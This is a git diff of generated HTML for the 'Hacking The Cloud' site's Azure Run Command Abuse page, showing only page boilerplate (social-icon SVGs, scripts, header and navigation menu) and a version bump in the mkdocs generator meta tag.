MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/azure/run-command-abuse/index.html b/azure/run-command-abuse/index.html
index 2015c22cf..1ff50875e 100644
--- a/azure/run-command-abuse/index.html
+++ b/azure/run-command-abuse/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Utilise Azure RunCommands for execution and lateral movement."><link href=https://hackingthe.cloud/azure/run-command-abuse/ rel=canonical><link href=../enum_email_addresses/ rel=prev><link href=../soft-deleted-blobs/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Run Command Abuse - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Run Command Abuse - Hacking The Cloud"><meta property=og:description content="Utilise Azure RunCommands for execution and lateral movement."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/run-command-abuse/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Run Command Abuse - Hacking The Cloud"><meta property=twitter:description content="Utilise Azure RunCommands for execution and lateral movement."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Utilise Azure RunCommands for execution and lateral movement."><link href=https://hackingthe.cloud/azure/run-command-abuse/ rel=canonical><link href=../enum_email_addresses/ rel=prev><link href=../soft-deleted-blobs/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Run Command Abuse - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Run Command Abuse - Hacking The Cloud"><meta property=og:description content="Utilise Azure RunCommands for execution and lateral movement."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/run-command-abuse/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Run Command Abuse - Hacking The Cloud"><meta property=twitter:description content="Utilise Azure RunCommands for execution and lateral movement."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#technique class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Run Command Abuse </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> 